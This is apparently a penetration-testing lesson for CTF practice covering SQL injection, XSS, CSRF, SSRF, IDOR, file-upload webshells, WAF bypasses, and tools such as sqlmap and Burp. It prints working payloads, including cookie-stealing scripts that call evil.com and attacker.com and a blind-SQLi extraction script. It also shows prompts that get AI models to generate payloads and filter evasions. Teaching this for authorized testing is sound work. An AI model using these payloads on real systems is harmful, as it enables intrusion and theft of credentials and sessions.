Web Application Vulnerability Scanning

Systematically discovering and exploiting web application vulnerabilities using manual techniques, automated tools, and AI-assisted payload generation.

Before We Begin

All techniques in this lesson should only be used against:

• CTF challenge platforms — purpose-built for exploitation practice
• Your own lab environments — DVWA, WebGoat, Juice Shop, etc.
• Authorized engagements — with written permission and defined scope

Violations of the Computer Fraud and Abuse Act (CFAA) and equivalent laws carry serious criminal penalties.

The Web Application Attack Surface

Every HTTP interaction is a potential entry point. Understanding the full surface is the first step to systematic testing.

HTTP Methods, Headers & Sessions

Attackers probe every aspect of the HTTP protocol for misconfigurations and injection points.

Anatomy of a Vulnerable HTTP Request

Every part of this request can be an injection point:

POST /api/v1/users/search HTTP/1.1
Host: vulnerable-app.ctf
Cookie: session=eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
Content-Type: application/json
X-Forwarded-For: 127.0.0.1
Referer: https://vulnerable-app.ctf/admin

{
  "query": "admin' OR 1=1--",
  "page": 1,
  "sort": "name; ls -la"
}

• Cookie — JWT with alg: none (authentication bypass)
• X-Forwarded-For — IP spoofing to bypass access controls
• JSON body — SQL injection in query, command injection in sort

SQL Injection — The Classic King

SQL injection remains one of the most dangerous web vulnerabilities. It occurs when user input is concatenated directly into SQL queries without parameterization.

# VULNERABLE - never do this
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
cursor.execute(query)

UNION-Based SQL Injection

The attacker appends a UNION SELECT to merge their query results with the original. Requires matching the column count and types.

Step 1: Determine Column Count

-- Use ORDER BY to find column count
' ORDER BY 1-- -     (success)
' ORDER BY 2-- -     (success)
' ORDER BY 3-- -     (success)
' ORDER BY 4-- -     (error! => 3 columns)

Step 2: Find Visible Columns

' UNION SELECT 'a','b','c'-- -
-- Check which of a/b/c appears in the response

Step 3: Extract Data

' UNION SELECT username, password, NULL FROM users-- -
' UNION SELECT table_name, NULL, NULL FROM information_schema.tables-- -
' UNION SELECT column_name, NULL, NULL FROM information_schema.columns
  WHERE table_name='secret_flags'-- -

Blind SQL Injection — Boolean-Based

When query results are not displayed, use conditional logic to extract data one character at a time by observing differences in application behavior.

-- Does the first character of the admin password = 'a'?
' AND (SELECT SUBSTRING(password,1,1) FROM users
  WHERE username='admin')='a'-- -

-- Binary search approach (faster):
' AND (SELECT ASCII(SUBSTRING(password,1,1)) FROM users
  WHERE username='admin') > 77-- -

-- Extract database name character by character:
' AND (SELECT ASCII(SUBSTRING(database(),1,1))) > 100-- -

Time-Based Blind SQL Injection

When there is no visible difference in responses, force the database to sleep conditionally. If the response is delayed, the condition was true.

-- MySQL time-based
' AND IF(
  (SELECT SUBSTRING(password,1,1) FROM users
   WHERE username='admin')='s',
  SLEEP(3), 0
)-- -

-- PostgreSQL
'; SELECT CASE WHEN
  (SELECT SUBSTRING(password,1,1) FROM users
   WHERE username='admin')='s'
  THEN pg_sleep(3) ELSE pg_sleep(0) END-- -

-- MSSQL
'; IF (SELECT SUBSTRING(password,1,1) FROM users
  WHERE username='admin')='s'
  WAITFOR DELAY '0:0:3'-- -

SQLi in the Wild — Full HTTP Exchange

Malicious Request

GET /products?category=Gifts'+UNION+SELECT+NULL,username,password+FROM+users-- HTTP/1.1
Host: shop.ctf-challenge.com
Cookie: session=abc123

Vulnerable Response

HTTP/1.1 200 OK
Content-Type: text/html

<table>
  <tr><td>Gift Card</td><td>$25.00</td></tr>
  <!-- Injected rows from users table -->
  <tr><td>admin</td><td>$up3r$ecretP@ss</td></tr>
  <tr><td>flag_user</td><td>CTF{sql_union_master}</td></tr>
</table>

Cross-Site Scripting (XSS)

XSS lets an attacker execute arbitrary JavaScript in the context of another user's browser session, enabling cookie theft, session hijacking, keylogging, and phishing.

Reflected XSS — Payloads

Basic Detection

<script>alert('XSS')</script>

<img src=x onerror=alert('XSS')>

<svg onload=alert('XSS')>

Cookie Stealing Payload

<script>
  fetch('https://attacker.com/steal?c='+document.cookie)
</script>

Full Attack URL

https://vulnerable-app.ctf/search?q=<script>fetch('https://evil.com/log?cookie='+document.cookie)</script>

<h2>Search results for: <script>fetch('https://evil.com/log?cookie='+document.cookie)</script></h2>
<p>No results found.</p>

Stored XSS — Persistent Payloads

The payload is stored in the database and triggered whenever any user views the affected page.

Comment Form Injection

POST /api/comments HTTP/1.1
Content-Type: application/json

{
  "post_id": 42,
  "author": "hacker",
  "body": "Great post! <img src=x onerror=\"new Image().src='https://evil.com/steal?c='+document.cookie\">"
}

Rendered for Every Visitor

<div class="comment">
  <strong>hacker</strong>
  <p>Great post! <img src=x onerror="new Image().src='https://evil.com/steal?c='+document.cookie"></p>
</div>

DOM-Based XSS

The vulnerability is entirely client-side. Dangerous data flows from a source to a sink without sanitization.

Vulnerable JavaScript

// Source: URL fragment (never sent to server)
const name = new URLSearchParams(location.search).get('name');

// Sink: innerHTML (parses HTML, executes scripts)
document.getElementById('greeting').innerHTML = 'Hello, ' + name + '!';

Attack URL

https://app.ctf/welcome?name=<img src=x onerror=alert(document.cookie)>

Cross-Site Request Forgery (CSRF)

CSRF tricks a logged-in user's browser into making unintended requests to a vulnerable application. The browser automatically attaches cookies, so the request appears legitimate.

Malicious HTML Page (hosted by attacker)

<!-- Auto-submitting form that changes admin email -->
<html>
<body onload="document.forms[0].submit()">
  <form action="https://bank.ctf/account/settings" method="POST">
    <input type="hidden" name="email" value="attacker@evil.com">
    <input type="hidden" name="action" value="change_email">
  </form>
</body>
</html>

What Happens

1. Victim visits attacker's page while logged into bank.ctf
2. Form auto-submits POST request with victim's session cookie
3. Server changes email to attacker's — now attacker can reset password

Server-Side Request Forgery (SSRF)

SSRF lets an attacker make the server send HTTP requests to arbitrary destinations, including internal services that are not directly accessible.

Vulnerable Endpoint

POST /api/fetch-url HTTP/1.1
Content-Type: application/json

{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

What the Server Does

# Server-side code
import requests
url = request.json['url']       # User-controlled!
response = requests.get(url)    # Server fetches it
return response.text            # Returns internal data

Common SSRF Targets

• Cloud metadata — 169.254.169.254 (AWS/GCP/Azure credentials)
• Internal APIs — http://localhost:8080/admin
• Internal network scanning — http://10.0.0.X:PORT
• File read — file:///etc/passwd

Insecure Direct Object Reference (IDOR)

IDOR occurs when an application exposes internal object references (IDs, filenames) without proper authorization checks. Simply changing a number in the URL grants access to another user's data.

Example: User Profile Access

-- Legitimate request (your profile)
GET /api/users/1337/profile HTTP/1.1
Authorization: Bearer eyJ...your_token...

-- IDOR attack (someone else's profile)
GET /api/users/1/profile HTTP/1.1
Authorization: Bearer eyJ...your_token...

Common IDOR Locations

File Upload Vulnerabilities

Unrestricted file uploads can lead to remote code execution, XSS, and server-side attacks.

Webshell Upload (PHP)

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

Bypass Techniques

AI-Assisted Payload Crafting

Large language models can rapidly generate, mutate, and refine attack payloads for authorized testing. AI acts as an intelligent collaborator that understands context.

Prompt: Generating SQLi Test Vectors

I'm testing a search feature in a CTF challenge for SQL injection.
The backend appears to be MySQL. The input is reflected in an error
message when special characters are used. Generate 15 SQL injection
payloads that:
1. Test for UNION-based injection (varying column counts 1-5)
2. Include comment styles for different SQL dialects
3. Try both string and numeric injection contexts
4. Include payloads that extract database version info

AI Prompts for XSS Payload Generation

Prompt: Context-Specific XSS

In a CTF challenge, user input is reflected inside an HTML attribute:
<input type="text" value="USER_INPUT_HERE">

The application filters <script> tags and the word "javascript".
Generate 10 XSS payloads that:
1. Break out of the attribute context
2. Use event handlers (onfocus, onmouseover, onerror)
3. Bypass the keyword filter using encoding/case tricks
4. Include at least 2 payloads that don't require user interaction

Sample AI-Generated Payloads

" onfocus="alert(1)" autofocus="
" onmouseover="alert(1)" style="position:fixed;top:0;left:0;width:100%;height:100%
"><svg/onload=alert(1)>
" onfocus=alert(1) autofocus tabindex=1 "
"><img src=x onerror=alert(1)//

AI-Assisted Fuzzing

Traditional fuzzing uses static wordlists. AI generates smart, context-aware wordlists and mutation strategies tailored to the target.

Prompt: Smart Wordlist Generation

I'm fuzzing a REST API for a CTF. The known endpoints are:
/api/v1/users, /api/v1/products, /api/v1/orders

Generate a wordlist of 30 likely hidden endpoints considering:
1. Common REST patterns (CRUD, admin, debug, internal)
2. API versioning variations (v2, v3, beta)
3. Common backup/development paths
4. Health check and monitoring endpoints

AI-Generated Mutation Strategies

Prompt: "The WAF blocks the word SELECT in SQL injection
attempts. Generate 10 mutation strategies to bypass this filter."

AI Response:
1. Case variation: SeLeCt, sElEcT
2. Inline comments: SEL/**/ECT, S/**/E/**/L/**/E/**/C/**/T
3. URL encoding: %53%45%4C%45%43%54
4. Double URL encoding: %2553%2545%254C%2545%2543%2554
5. Unicode: ＳＥＬＥＣＴusing fullwidth chars
6. Concatenation: CONC/**/AT('SEL','ECT')
7. Hex encoding: 0x53454C454354
8. Using synonyms: FETCH FIRST instead of LIMIT

Tool: Burp Suite

The industry-standard web application security testing platform. Acts as an intercepting proxy between your browser and the target.

Intruder Attack Types

Tool: OWASP ZAP

Free, open-source alternative to Burp Suite. Excellent for automated scanning and CI/CD integration.

Quick Scan via CLI

# Docker-based full scan
docker run -t ghcr.io/zaproxy/zaproxy:stable zap-full-scan.py \
  -t https://target.ctf \
  -r report.html

# API scan with OpenAPI spec
docker run -t ghcr.io/zaproxy/zaproxy:stable zap-api-scan.py \
  -t https://target.ctf/openapi.json \
  -f openapi \
  -r api-report.html

ZAP vs Burp for CTFs

Tool: sqlmap

The most powerful automated SQL injection tool. Handles detection, exploitation, database enumeration, and data extraction.

Essential Commands

# Basic detection
sqlmap -u "https://target.ctf/search?q=test" --batch

# Specify POST data
sqlmap -u "https://target.ctf/login" \
  --data="username=admin&password=test" \
  --batch

# Enumerate databases
sqlmap -u "https://target.ctf/search?q=test" --dbs

# Dump specific table
sqlmap -u "https://target.ctf/search?q=test" \
  -D ctf_db -T flags --dump

# Use authenticated session
sqlmap -u "https://target.ctf/api/items?id=1" \
  --cookie="session=eyJ0b2tlbiI6ImFiYzEyMyJ9" \
  --level=3 --risk=3

# WAF bypass with tamper scripts
sqlmap -u "https://target.ctf/search?q=test" \
  --tamper=space2comment,between,randomcase

Tool: Nikto

A web server scanner that checks for dangerous files, outdated server software, misconfigurations, and known vulnerabilities.

Usage

# Basic scan
nikto -h https://target.ctf

# Scan specific port with tuning
nikto -h target.ctf -p 8443 -ssl \
  -Tuning 123bde -o report.html -Format html

# Tuning options (what to test)
# 1 - Interesting file / seen in logs
# 2 - Misconfiguration / default files
# 3 - Information disclosure
# b - Software identification
# d - Debug / development files
# e - Remote source inclusion

What Nikto Finds

• Default files — /phpinfo.php, /.git/HEAD, /robots.txt
• Backup files — /index.php.bak, /config.old, /db.sql
• Admin panels — /admin/, /manager/, /wp-admin/
• Outdated software — Apache, nginx, PHP version disclosure

AI as the Brain Behind the Tools

The real power emerges when you use AI not just for payload generation, but as an intelligent coordinator for your entire tool chain.

AI-Enhanced Workflow

Prompt: "I'm in a CTF. Here is the Nikto output for the target:
[paste nikto output]

And here is the Burp site map showing these endpoints:
/login, /api/users, /api/search, /upload, /admin (403)

Create a prioritized testing plan:
1. Which endpoints are most likely vulnerable?
2. What specific tests should I run on each?
3. Generate the exact sqlmap and Burp Intruder commands.
4. How might I bypass the 403 on /admin?"

WAF Bypass Techniques

Web Application Firewalls (WAFs) use pattern matching to block malicious requests. Bypass techniques exploit gaps between what the WAF checks and what the application processes.

AI-Assisted WAF Bypass

AI excels at generating creative bypass mutations based on observed WAF behavior.

Iterative Bypass Prompt

I'm working on a CTF challenge. The WAF is blocking my SQL injection.
Here's what I've tried and the results:

1. ' OR 1=1--           => BLOCKED (403 Forbidden)
2. ' OR 1=1#            => BLOCKED
3. ' oR 1=1--           => BLOCKED (case insensitive detection)
4. '%0aOR%0a1=1--       => BLOCKED (whitespace detection)
5. ' || 1=1--           => PASSED but no injection (syntax issue)

The backend appears to be MySQL. Generate 10 new bypass attempts
that use progressively more creative evasion techniques.

AI-Generated Bypasses

-- Unicode fullwidth OR
' %EF%BC%AF%EF%BC%B2 1=1-- -
-- Double URL-encoded spaces
'%20%4FR%201%3D1--%20-
-- Nested comments
' /*!50000OR*/ 1=1-- -
-- Scientific notation comparison
' OR 1e0=1e0-- -
-- Boolean without OR keyword
' DIV 0 IS NOT NULL-- -
-- Concat-based true condition
' WHERE 'ab'=CONCAT('a','b')-- -

WAF Bypass — HTTP-Level Tricks

Chunked Transfer Encoding Bypass

POST /search HTTP/1.1
Host: target.ctf
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded

3
q='
5
UNION
7
+SELECT
4
+1,2
9
,password
c
+FROM+users
5
-- -
0

The WAF inspects each chunk individually and never sees the full payload assembled. The backend concatenates all chunks before processing.

HTTP Parameter Pollution

-- WAF inspects first parameter; backend uses last (or concatenates)
GET /search?q=safe&q=' UNION SELECT password FROM users-- HTTP/1.1

Vulnerability Chaining

In real CTFs, flags often require chaining multiple vulnerabilities together. Each vulnerability unlocks access to the next.

Ask AI to Map the Chain

Prompt: "In this CTF, I've found these individual vulnerabilities:
- IDOR on /api/users (can read other profiles)
- Reflected XSS on /search
- File upload with weak extension filter on /profile/avatar
- SQL error on /api/products?sort=name

Help me map potential attack chains to reach RCE or data exfiltration."

Systematic Web App Testing Methodology

Follow this structured approach for CTF web challenges:

AI-Generated Exploit Script

Ask AI to write custom exploitation scripts when automated tools fall short.

Blind SQLi Extraction Script

import requests
import string

url = "https://target.ctf/login"
charset = string.ascii_lowercase + string.digits + "_{}"
extracted = ""

for pos in range(1, 50):
    found = False
    for char in charset:
        payload = f"admin' AND SUBSTRING((" \
                  f"SELECT flag FROM flags LIMIT 1" \
                  f"),{pos},1)='{char}'-- -"
        resp = requests.post(url, data={
            "username": payload,
            "password": "anything"
        })
        if "Welcome" in resp.text:  # True condition
            extracted += char
            print(f"[+] Found: {extracted}")
            found = True
            break
    if not found:
        break

print(f"[*] Flag: {extracted}")

Common CTF Web Challenge Patterns

Recognize these recurring patterns to solve challenges faster:

CTF Challenge: Web App Flag Hunt

Flags to Capture

Challenge Approach & Rules

Recommended Steps

1. Recon — Run nikto, browse all pages with Burp proxy active
2. Map — Identify all input fields, API endpoints, and parameters
3. Flag 1 — Test the search feature with SQLi payloads; extract the flag from the database
4. Flag 2 — Craft a stored XSS payload in comments; steal the admin bot's cookie containing the flag
5. Flag 3 — Enumerate /api/users/{id} to find the hidden admin profile with the flag
6. Flag 4 — Use SSRF via the URL preview to access http://internal-api:8080/flag
7. Flag 5 — Bypass the avatar upload filter to upload a webshell and read /flag.txt

Key Takeaways

• Every input is a target — URL params, headers, cookies, JSON bodies, file uploads
• SQL injection comes in three flavors: UNION-based, blind boolean, and time-based — know when to use each
• XSS types matter — reflected needs a click, stored is persistent, DOM-based is client-only
• Chain vulnerabilities — IDOR + CSRF + SQLi + file upload = full compromise
• AI transforms your workflow — payload generation, mutation, tool coordination, and exploit scripting
• WAF bypass is iterative — observe what's blocked, adapt with encoding and syntax tricks
• Tools amplify skill — Burp for manual testing, sqlmap for automation, nikto for recon, ZAP for scanning